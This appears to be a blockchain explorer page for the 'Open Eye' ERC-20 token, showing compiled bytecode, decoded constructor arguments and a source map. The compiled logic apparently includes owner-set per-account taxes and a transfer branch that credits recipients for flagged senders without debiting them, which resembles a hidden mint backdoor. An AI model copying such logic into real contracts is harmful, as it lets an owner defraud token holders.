fffffffffffffffffffffffffffffffffffffffffffffff0382111561225b5761225a612415565b5b828201905092915050565b600061227182612363565b915061227c83612363565b92508261228c5761228b612444565b5b828204905092915050565b60006122a282612363565b91506122ad83612363565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156122e6576122e5612415565b5b828202905092915050565b60006122fc82612363565b915061230783612363565b92508282101561231a57612319612415565b5b828203905092915050565b600061233082612343565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006123858261238c565b9050919050565b60006123978261239e565b9050919050565b60006123a982612343565b9050919050565b60005b838110156123ce5780820151818401526020810190506123b3565b838111156123dd576000848401525b50505050565b600060028204905060018216806123fb57607f821691505b6020821081141561240f5761240e612473565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2031000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220416d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61278b81612325565b811461279657600080fd5b50565b6127a281612337565b81146127ad57600080fd5b50565b6127b981612363565b81146127c457600080fd5b5056fea2646970667358221220bd13a94402ce46ffcf19fd727f39c2aef068f6e7a027d05dd2816752152f6c5564736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000084f70656e2045796500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074f50454e45594500000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Open Eye
Arg [1] : symbol_ (string): OPENEYE
Arg [2] : totalSupply_ (uint256): 100000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 4f70656e20457965000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 4f50454e45594500000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12811:6487:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10170:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10751:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13086:51;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10482:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18477:288;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15612:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10384:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10957:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15720:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13144:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16051:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15481:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12961:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1098:103;;;:::i;:::-;;15839:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10275:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16313:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11203:438;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18168:299;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;872:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16183:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10595:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1209:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10170:91;10215:13;10248:5;10241:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10170:91;:::o;10751:192::-;10825:4;10842:13;10858:12;:10;:12::i;:::-;10842:28;;10881:32;10890:5;10897:7;10906:6;10881:8;:32::i;:::-;10931:4;10924:11;;;10751:192;;;;:::o;13086:51::-;;;:::o;10482:99::-;10534:7;10561:12;;10554:19;;10482:99;:::o;18477:288::-;18599:4;18616:15;18634:12;:10;:12::i;:::-;18616:30;;18659:38;18675:4;18681:7;18690:6;18659:15;:38::i;:::-;18708:27;18718:4;18724:2;18728:6;18708:9;:27::i;:::-;18753:4;18746:11;;;18477:288;;;;;:::o;15612:98::-;1021:12;:10;:12::i;:::-;1011:22;;:6;;;;;;;;;;;:22;;;1003:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15694:8:::1;15678:13;;:24;;;;;;;;;;;;;;;;;;15612:98:::0;:::o;10384:84::-;10433:5;10458:2;10451:9;;10384:84;:::o;10957:240::-;11045:4;11062:13;11078:12;:10;:12::i;:::-;11062:28;;11101:66;11110:5;11117:7;11156:10;11126:11;:18;11138:5;11126:18;;;;;;;;;;;;;;;:27;11145:7;11126:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;11101:8;:66::i;:::-;11185:4;11178:11;;;10957:240;;;;:::o;15720:95::-;1021:12;:10;:12::i;:::-;1011:22;;:6;;;;;;;;;;;:22;;;1003:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15801:6:::1;15782:16;:25;;;;15720:95:::0;:::o;13144:28::-;;;;;;;;;;;;;:::o;16051:122::-;16121:7;1021:12;:10;:12::i;:::-;1011:22;;:6;;;;;;;;;;;:22;;;1003:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16148:7:::1;:17;16156:8;16148:17;;;;;;;;;;;;;;;;16141:24;;16051:122:::0;;;:::o;15481:121::-;15552:4;1021:12;:10;:12::i;:::-;1011:22;;:6;;;;;;;;;;;:22;;;1003:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15576:8:::1;:18;15585:8;15576:18;;;;;;;;;;;;;;;;;;;;;;;;;15569:25;;15481:121:::0;;;:::o;12961:118::-;13026:7;13053:9;:18;13063:7;13053:18;;;;;;;;;;;;;;;;13046:25;;12961:118;;;:::o;1098:103::-;1021:12;:10;:12::i;:::-;1011:22;;:6;;;;;;;;;;;:22;;;1003:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1163:30:::1;1190:1;1163:18;:30::i;:::-;1098:103::o:0;15839:196::-;1021:12;:10;:12::i;:::-;1011:22;;:6;;;;;;;;;;;:22;;;1003:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15938:1:::1;15928:6;:11;;15920:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;16021:6;16001:7;:17;16009:8;16001:17;;;;;;;;;;;;;;;:26;;;;15839:196:::0;;:::o;10275:95::-;10322:13;10355:7;10348:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10275:95;:::o;16313:127::-;16389:4;1021:12;:10;:12::i;:::-;1011:22;;:6;;;;;;;;;;;:22;;;1003:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16413:9:::1;:19;16423:8;16413:19;;;;;;;;;;;;;;;;;;;;;;;;;16406:26;;16313:127:::0;;;:::o;11203:438::-;11296:4;11313:13;11329:12;:10;:12::i;:::-;11313:28;;11352:24;11379:11;:18;11391:5;11379:18;;;;;;;;;;;;;;;:27;11398:7;11379:27;;;;;;;;;;;;;;;;11352:54;;11445:15;11425:16;:35;;11417:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11538:60;11547:5;11554:7;11582:15;11563:16;:34;11538:8;:60::i;:::-;11629:4;11622:11;;;;11203:438;;;;:::o;18168:299::-;18238:4;18255:13;18271:12;:10;:12::i;:::-;18255:28;;18317:4;18298:23;;:8;:15;18307:5;18298:15;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;18294:105;;;18355:6;18338:9;:13;18348:2;18338:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;18383:4;18376:11;;;;;18294:105;18409:28;18419:5;18426:2;18430:6;18409:9;:28::i;:::-;18455:4;18448:11;;;18168:299;;;;;:::o;872:91::-;918:7;872:91;:::o;16183:122::-;1021:12;:10;:12::i;:::-;1011:22;;:6;;;;;;;;;;;:22;;;1003:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16291:6:::1;16269:9;:19;16279:8;16269:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;16183:122:::0;;:::o;10595:142::-;10675:7;10702:11;:18;10714:5;10702:18;;;;;;;;;;;;;;;:27;10721:7;10702:27;;;;;;;;;;;;;;;;10695:34;;10595:142;;;;:::o;1209:201::-;1021:12;:10;:12::i;:::-;1011:22;;:6;;;;;;;;;;;:22;;;1003:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1318:1:::1;1298:22;;:8;:22;;;;1290:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1374:28;1393:8;1374:18;:28::i;:::-;1209:201:::0;:::o;391:98::-;444:7;471:10;464:17;;391:98;:::o;11655:380::-;11808:1;11791:19;;:5;:19;;;;11783:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11889:1;11870:21;;:7;:21;;;;11862:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11973:6;11943:11;:18;11955:5;11943:18;;;;;;;;;;;;;;;:27;11962:7;11943:27;;;;;;;;;;;;;;;:36;;;;12011:7;11995:32;;12004:5;11995:32;;;12020:6;11995:32;;;;;;:::i;:::-;;;;;;;;11655:380;;;:::o;12049:453::-;12184:24;12211:25;12221:5;12228:7;12211:9;:25::i;:::-;12184:52;;12271:17;12251:16;:37;12247:248;;12333:6;12313:16;:26;;12305:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12417:51;12426:5;12433:7;12461:6;12442:16;:25;12417:8;:51::i;:::-;12247:248;12173:329;12049:453;;;:::o;16598:1562::-;16746:1;16730:18;;:4;:18;;;;16722:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16823:1;16809:16;;:2;:16;;;;16801:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16878:19;16900:9;:15;16910:4;16900:15;;;;;;;;;;;;;;;;16878:37;;16949:7;16934:11;:22;;16926:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;17012:7;17022:4;17012:14;;17043:27;17061:4;17067:2;17043:17;:27::i;:::-;17039:70;;;17092:5;17087:10;;17039:70;17119:23;17163:2;17159:515;;;17182:17;17247:1;17222:27;;:13;;;;;;;;;;;:27;;;17218:282;;17280:13;;;;;;;;;;;17274:19;;:2;:19;;;17270:98;;;17332:16;;17320:28;;17270:98;17398:13;;;;;;;;;;;17390:21;;:4;:21;;;17386:99;;;17450:15;;17438:27;;17386:99;17218:282;17534:1;17518:7;:13;17526:4;17518:13;;;;;;;;;;;;;;;;:17;17514:83;;;17568:7;:13;17576:4;17568:13;;;;;;;;;;;;;;;;17556:25;;17514:83;17631:31;17658:3;17631:22;17643:9;17631:7;:11;;:22;;;;:::i;:::-;:26;;:31;;;;:::i;:::-;17613:49;;17167:507;17159:515;17710:1;17692:15;:19;17688:256;;;17746:36;17766:15;17746:9;:15;17756:4;17746:15;;;;;;;;;;;;;;;;:19;;:36;;;;:::i;:::-;17728:9;:15;17738:4;17728:15;;;;;;;;;;;;;;;:54;;;;17823:44;17851:15;17823:9;:23;15426:42;17823:23;;;;;;;;;;;;;;;;:27;;:44;;;;:::i;:::-;17797:9;:23;15426:42;17797:23;;;;;;;;;;;;;;;:70;;;;15426:42;17887:45;;17896:4;17887:45;;;17916:15;17887:45;;;;;;:::i;:::-;;;;;;;;17688:256;17974:46;18004:15;17994:7;:25;;;;:::i;:::-;17974:9;:15;17984:4;17974:15;;;;;;;;;;;;;;;;:19;;:46;;;;:::i;:::-;17956:9;:15;17966:4;17956:15;;;;;;;;;;;;;;;:64;;;;18047:44;18075:15;18065:7;:25;;;;:::i;:::-;18047:9;:13;18057:2;18047:13;;;;;;;;;;;;;;;;:17;;:44;;;;:::i;:::-;18031:9;:13;18041:2;18031:13;;;;;;;;;;;;;;;:60;;;;18122:2;18107:45;;18116:4;18107:45;;;18136:15;18126:7;:25;;;;:::i;:::-;18107:45;;;;;;:::i;:::-;;;;;;;;16711:1449;;;16598:1562;;;:::o;1418:191::-;1492:16;1511:6;;;;;;;;;;;1492:25;;1537:8;1528:6;;:17;;;;;;;;;;;;;;;;;;1592:8;1561:40;;1582:8;1561:40;;;;;;;;;;;;1481:128;1418:191;:::o;16448:140::-;16524:4;16548:9;:15;16558:4;16548:15;;;;;;;;;;;;;;;;;;;;;;;;;:32;;;;16567:9;:13;16577:2;16567:13;;;;;;;;;;;;;;;;;;;;;;;;;16548:32;16541:39;;16448:140;;;;:::o;3010:98::-;3068:7;3099:1;3095;:5;;;;:::i;:::-;3088:12;;3010:98;;;;:::o;3116:::-;3174:7;3205:1;3201;:5;;;;:::i;:::-;3194:12;;3116:98;;;;:::o;2904:::-;2962:7;2993:1;2989;:5;;;;:::i;:::-;2982:12;;2904:98;;;;:::o;2798:::-;2856:7;2887:1;2883;:5;;;;:::i;:::-;2876:12;;2798:98;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:133::-;195:5;233:6;220:20;211:29;;249:30;273:5;249:30;:::i;:::-;152:133;;;;:::o;291:139::-;337:5;375:6;362:20;353:29;;391:33;418:5;391:33;:::i;:::-;291:139;;;;:::o;436:329::-;495:6;544:2;532:9;523:7;519:23;515:32;512:119;;;550:79;;:::i;:::-;512:119;670:1;695:53;740:7;731:6;720:9;716:22;695:53;:::i;:::-;685:63;;641:117;436:329;;;;:::o;771:474::-;839:6;847;896:2;884:9;875:7;871:23;867:32;864:119;;;902:79;;:::i;:::-;864:119;1022:1;1047:53;1092:7;1083:6;1072:9;1068:22;1047:53;:::i;:::-;1037:63;;993:117;1149:2;1175:53;1220:7;1211:6;1200:9;1196:22;1175:53;:::i;:::-;1165:63;;1120:118;771:474;;;;;:::o;1251:619::-;1328:6;1336;1344;1393:2;1381:9;1372:7;1368:23;1364:32;1361:119;;;1399:79;;:::i;:::-;1361:119;1519:1;1544:53;1589:7;1580:6;1569:9;1565:22;1544:53;:::i;:::-;1534:63;;1490:117;1646:2;1672:53;1717:7;1708:6;1697:9;1693:22;1672:53;:::i;:::-;1662:63;;1617:118;1774:2;1800:53;1845:7;1836:6;1825:9;1821:22;1800:53;:::i;:::-;1790:63;;1745:118;1251:619;;;;;:::o;1876:468::-;1941:6;1949;1998:2;1986:9;1977:7;1973:23;1969:32;1966:119;;;2004:79;;:::i;:::-;1966:119;2124:1;2149:53;2194:7;2185:6;2174:9;2170:22;2149:53;:::i;:::-;2139:63;;2095:117;2251:2;2277:50;2319:7;2310:6;2299:9;2295:22;2277:50;:::i;:::-;2267:60;;2222:115;1876:468;;;;;:::o;2350:474::-;2418:6;2426;2475:2;2463:9;2454:7;2450:23;2446:32;2443:119;;;2481:79;;:::i;:::-;2443:119;2601:1;2626:53;2671:7;2662:6;2651:9;2647:22;2626:53;:::i;:::-;2616:63;;2572:117;2728:2;2754:53;2799:7;2790:6;2779:9;2775:22;2754:53;:::i;:::-;2744:63;;2699:118;2350:474;;;;;:::o;2830:329::-;2889:6;2938:2;2926:9;2917:7;2913:23;2909:32;2906:119;;;2944:79;;:::i;:::-;2906:119;3064:1;3089:53;3134:7;3125:6;3114:9;3110:22;3089:53;:::i;:::-;3079:63;;3035:117;2830:329;;;;:::o;3165:118::-;3252:24;3270:5;3252:24;:::i;:::-;3247:3;3240:37;3165:118;;:::o;3289:109::-;3370:21;3385:5;3370:21;:::i;:::-;3365:3;3358:34;3289:109;;:::o;3404:183::-;3517:63;3574:5;3517:63;:::i;:::-;3512:3;3505:76;3404:183;;:::o;3593:364::-;3681:3;3709:39;3742:5;3709:39;:::i;:::-;3764:71;3828:6;3823:3;3764:71;:::i;:::-;3757:78;;3844:52;3889:6;3884:3;3877:4;3870:5;3866:16;3844:52;:::i;:::-;3921:29;3943:6;3921:29;:::i;:::-;3916:3;3912:39;3905:46;;3685:272;3593:364;;;;:::o;3963:366::-;4105:3;4126:67;4190:2;4185:3;4126:67;:::i;:::-;4119:74;;4202:93;4291:3;4202:93;:::i;:::-;4320:2;4315:3;4311:12;4304:19;;3963:366;;;:::o;4335:::-;4477:3;4498:67;4562:2;4557:3;4498:67;:::i;:::-;4491:74;;4574:93;4663:3;4574:93;:::i;:::-;4692:2;4687:3;4683:12;4676:19;;4335:366;;;:::o;4707:::-;4849:3;4870:67;4934:2;4929:3;4870:67;:::i;:::-;4863:74;;4946:93;5035:3;4946:93;:::i;:::-;5064:2;5059:3;5055:12;5048:19;;4707:366;;;:::o;5079:::-;5221:3;5242:67;5306:2;5301:3;5242:67;:::i;:::-;5235:74;;5318:93;5407:3;5318:93;:::i;:::-;5436:2;5431:3;5427:12;5420:19;;5079:366;;;:::o;5451:::-;5593:3;5614:67;5678:2;5673:3;5614:67;:::i;:::-;5607:74;;5690:93;5779:3;5690:93;:::i;:::-;5808:2;5803:3;5799:12;5792:19;;5451:366;;;:::o;5823:::-;5965:3;5986:67;6050:2;6045:3;5986:67;:::i;:::-;5979:74;;6062:93;6151:3;6062:93;:::i;:::-;6180:2;6175:3;6171:12;6164:19;;5823:366;;;:::o;6195:::-;6337:3;6358:67;6422:2;6417:3;6358:67;:::i;:::-;6351:74;;6434:93;6523:3;6434:93;:::i;:::-;6552:2;6547:3;6543:12;6536:19;;6195:366;;;:::o;6567:::-;6709:3;6730:67;6794:2;6789:3;6730:67;:::i;:::-;6723:74;;6806:93;6895:3;6806:93;:::i;:::-;6924:2;6919:3;6915:12;6908:19;;6567:366;;;:::o;6939:::-;7081:3;7102:67;7166:2;7161:3;7102:67;:::i;:::-;7095:74;;7178:93;7267:3;7178:93;:::i;:::-;7296:2;7291:3;7287:12;7280:19;;6939:366;;;:::o;7311:::-;7453:3;7474:67;7538:2;7533:3;7474:67;:::i;:::-;7467:74;;7550:93;7639:3;7550:93;:::i;:::-;7668:2;7663:3;7659:12;7652:19;;7311:366;;;:::o;7683:118::-;7770:24;7788:5;7770:24;:::i;:::-;7765:3;7758:37;7683:118;;:::o;7807:112::-;7890:22;7906:5;7890:22;:::i;:::-;7885:3;7878:35;7807:112;;:::o;7925:222::-;8018:4;8056:2;8045:9;8041:18;8033:26;;8069:71;8137:1;8126:9;8122:17;8113:6;8069:71;:::i;:::-;7925:222;;;;:::o;8153:210::-;8240:4;8278:2;8267:9;8263:18;8255:26;;8291:65;8353:1;8342:9;8338:17;8329:6;8291:65;:::i;:::-;8153:210;;;;:::o;8369:274::-;8488:4;8526:2;8515:9;8511:18;8503:26;;8539:97;8633:1;8622:9;8618:17;8609:6;8539:97;:::i;:::-;8369:274;;;;:::o;8649:313::-;8762:4;8800:2;8789:9;8785:18;8777:26;;8849:9;8843:4;8839:20;8835:1;8824:9;8820:17;8813:47;8877:78;8950:4;8941:6;8877:78;:::i;:::-;8869:86;;8649:313;;;;:::o;8968:419::-;9134:4;9172:2;9161:9;9157:18;9149:26;;9221:9;9215:4;9211:20;9207:1;9196:9;9192:17;9185:47;9249:131;9375:4;9249:131;:::i;:::-;9241:139;;8968:419;;;:::o;9393:::-;9559:4;9597:2;9586:9;9582:18;9574:26;;9646:9;9640:4;9636:20;9632:1;9621:9;9617:17;9610:47;9674:131;9800:4;9674:131;:::i;:::-;9666:139;;9393:419;;;:::o;9818:::-;9984:4;10022:2;10011:9;10007:18;9999:26;;10071:9;10065:4;10061:20;10057:1;10046:9;10042:17;10035:47;10099:131;10225:4;10099:131;:::i;:::-;10091:139;;9818:419;;;:::o;10243:::-;10409:4;10447:2;10436:9;10432:18;10424:26;;10496:9;10490:4;10486:20;10482:1;10471:9;10467:17;10460:47;10524:131;10650:4;10524:131;:::i;:::-;10516:139;;10243:419;;;:::o;10668:::-;10834:4;10872:2;10861:9;10857:18;10849:26;;10921:9;10915:4;10911:20;10907:1;10896:9;10892:17;10885:47;10949:131;11075:4;10949:131;:::i;:::-;10941:139;;10668:419;;;:::o;11093:::-;11259:4;11297:2;11286:9;11282:18;11274:26;;11346:9;11340:4;11336:20;11332:1;11321:9;11317:17;11310:47;11374:131;11500:4;11374:131;:::i;:::-;11366:139;;11093:419;;;:::o;11518:::-;11684:4;11722:2;11711:9;11707:18;11699:26;;11771:9;11765:4;11761:20;11757:1;11746:9;11742:17;11735:47;11799:131;11925:4;11799:131;:::i;:::-;11791:139;;11518:419;;;:::o;11943:::-;12109:4;12147:2;12136:9;12132:18;12124:26;;12196:9;12190:4;12186:20;12182:1;12171:9;12167:17;12160:47;12224:131;12350:4;12224:131;:::i;:::-;12216:139;;11943:419;;;:::o;12368:::-;12534:4;12572:2;12561:9;12557:18;12549:26;;12621:9;12615:4;12611:20;12607:1;12596:9;12592:17;12585:47;12649:131;12775:4;12649:131;:::i;:::-;12641:139;;12368:419;;;:::o;12793:::-;12959:4;12997:2;12986:9;12982:18;12974:26;;13046:9;13040:4;13036:20;13032:1;13021:9;13017:17;13010:47;13074:131;13200:4;13074:131;:::i;:::-;13066:139;;12793:419;;;:::o;13218:222::-;13311:4;13349:2;13338:9;13334:18;13326:26;;13362:71;13430:1;13419:9;13415:17;13406:6;13362:71;:::i;:::-;13218:222;;;;:::o;13446:214::-;13535:4;13573:2;13562:9;13558:18;13550:26;;13586:67;13650:1;13639:9;13635:17;13626:6;13586:67;:::i;:::-;13446:214;;;;:::o;13747:99::-;13799:6;13833:5;13827:12;13817:22;;13747:99;;;:::o;13852:169::-;13936:11;13970:6;13965:3;13958:19;14010:4;14005:3;14001:14;13986:29;;13852:169;;;;:::o;14027:305::-;14067:3;14086:20;14104:1;14086:20;:::i;:::-;14081:25;;14120:20;14138:1;14120:20;:::i;:::-;14115:25;;14274:1;14206:66;14202:74;14199:1;14196:81;14193:107;;;14280:18;;:::i;:::-;14193:107;14324:1;14321;14317:9;14310:16;;14027:305;;;;:::o;14338:185::-;14378:1;14395:20;14413:1;14395:20;:::i;:::-;14390:25;;14429:20;14447:1;14429:20;:::i;:::-;14424:25;;14468:1;14458:35;;14473:18;;:::i;:::-;14458:35;14515:1;14512;14508:9;14503:14;;14338:185;;;;:::o;14529:348::-;14569:7;14592:20;14610:1;14592:20;:::i;:::-;14587:25;;14626:20;14644:1;14626:20;:::i;:::-;14621:25;;14814:1;14746:66;14742:74;14739:1;14736:81;14731:1;14724:9;14717:17;14713:105;14710:131;;;14821:18;;:::i;:::-;14710:131;14869:1;14866;14862:9;14851:20;;14529:348;;;;:::o;14883:191::-;14923:4;14943:20;14961:1;14943:20;:::i;:::-;14938:25;;14977:20;14995:1;14977:20;:::i;:::-;14972:25;;15016:1;15013;15010:8;15007:34;;;15021:18;;:::i;:::-;15007:34;15066:1;15063;15059:9;15051:17;;14883:191;;;;:::o;15080:96::-;15117:7;15146:24;15164:5;15146:24;:::i;:::-;15135:35;;15080:96;;;:::o;15182:90::-;15216:7;15259:5;15252:13;15245:21;15234:32;;15182:90;;;:::o;15278:126::-;15315:7;15355:42;15348:5;15344:54;15333:65;;15278:126;;;:::o;15410:77::-;15447:7;15476:5;15465:16;;15410:77;;;:::o;15493:86::-;15528:7;15568:4;15561:5;15557:16;15546:27;;15493:86;;;:::o;15585:152::-;15661:9;15694:37;15725:5;15694:37;:::i;:::-;15681:50;;15585:152;;;:::o;15743:126::-;15793:9;15826:37;15857:5;15826:37;:::i;:::-;15813:50;;15743:126;;;:::o;15875:113::-;15925:9;15958:24;15976:5;15958:24;:::i;:::-;15945:37;;15875:113;;;:::o;15994:307::-;16062:1;16072:113;16086:6;16083:1;16080:13;16072:113;;;16171:1;16166:3;16162:11;16156:18;16152:1;16147:3;16143:11;16136:39;16108:2;16105:1;16101:10;16096:15;;16072:113;;;16203:6;16200:1;16197:13;16194:101;;;16283:1;16274:6;16269:3;16265:16;16258:27;16194:101;16043:258;15994:307;;;:::o;16307:320::-;16351:6;16388:1;16382:4;16378:12;16368:22;;16435:1;16429:4;16425:12;16456:18;16446:81;;16512:4;16504:6;16500:17;16490:27;;16446:81;16574:2;16566:6;16563:14;16543:18;16540:38;16537:84;;;16593:18;;:::i;:::-;16537:84;16358:269;16307:320;;;:::o;16633:180::-;16681:77;16678:1;16671:88;16778:4;16775:1;16768:15;16802:4;16799:1;16792:15;16819:180;16867:77;16864:1;16857:88;16964:4;16961:1;16954:15;16988:4;16985:1;16978:15;17005:180;17053:77;17050:1;17043:88;17150:4;17147:1;17140:15;17174:4;17171:1;17164:15;17314:117;17423:1;17420;17413:12;17437:102;17478:6;17529:2;17525:7;17520:2;17513:5;17509:14;17505:28;17495:38;;17437:102;;;:::o;17545:222::-;17685:34;17681:1;17673:6;17669:14;17662:58;17754:5;17749:2;17741:6;17737:15;17730:30;17545:222;:::o;17773:182::-;17913:34;17909:1;17901:6;17897:14;17890:58;17773:182;:::o;17961:233::-;18101:34;18097:1;18089:6;18085:14;18078:58;18170:16;18165:2;18157:6;18153:15;18146:41;17961:233;:::o;18200:221::-;18340:34;18336:1;18328:6;18324:14;18317:58;18409:4;18404:2;18396:6;18392:15;18385:29;18200:221;:::o;18427:179::-;18567:31;18563:1;18555:6;18551:14;18544:55;18427:179;:::o;18612:225::-;18752:34;18748:1;18740:6;18736:14;18729:58;18821:8;18816:2;18808:6;18804:15;18797:33;18612:225;:::o;18843:::-;18983:34;18979:1;18971:6;18967:14;18960:58;19052:8;19047:2;19039:6;19035:15;19028:33;18843:225;:::o;19074:224::-;19214:34;19210:1;19202:6;19198:14;19191:58;19283:7;19278:2;19270:6;19266:15;19259:32;19074:224;:::o;19304:223::-;19444:34;19440:1;19432:6;19428:14;19421:58;19513:6;19508:2;19500:6;19496:15;19489:31;19304:223;:::o;19533:224::-;19673:34;19669:1;19661:6;19657:14;19650:58;19742:7;19737:2;19729:6;19725:15;19718:32;19533:224;:::o;19763:122::-;19836:24;19854:5;19836:24;:::i;:::-;19829:5;19826:35;19816:63;;19875:1;19872;19865:12;19816:63;19763:122;:::o;19891:116::-;19961:21;19976:5;19961:21;:::i;:::-;19954:5;19951:32;19941:60;;19997:1;19994;19987:12;19941:60;19891:116;:::o;20013:122::-;20086:24;20104:5;20086:24;:::i;:::-;20079:5;20076:35;20066:63;;20125:1;20122;20115:12;20066:63;20013:122;:::o

Swarm Source

ipfs://bd13a94402ce46ffcf19fd727f39c2aef068f6e7a027d05dd2816752152f6c55
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.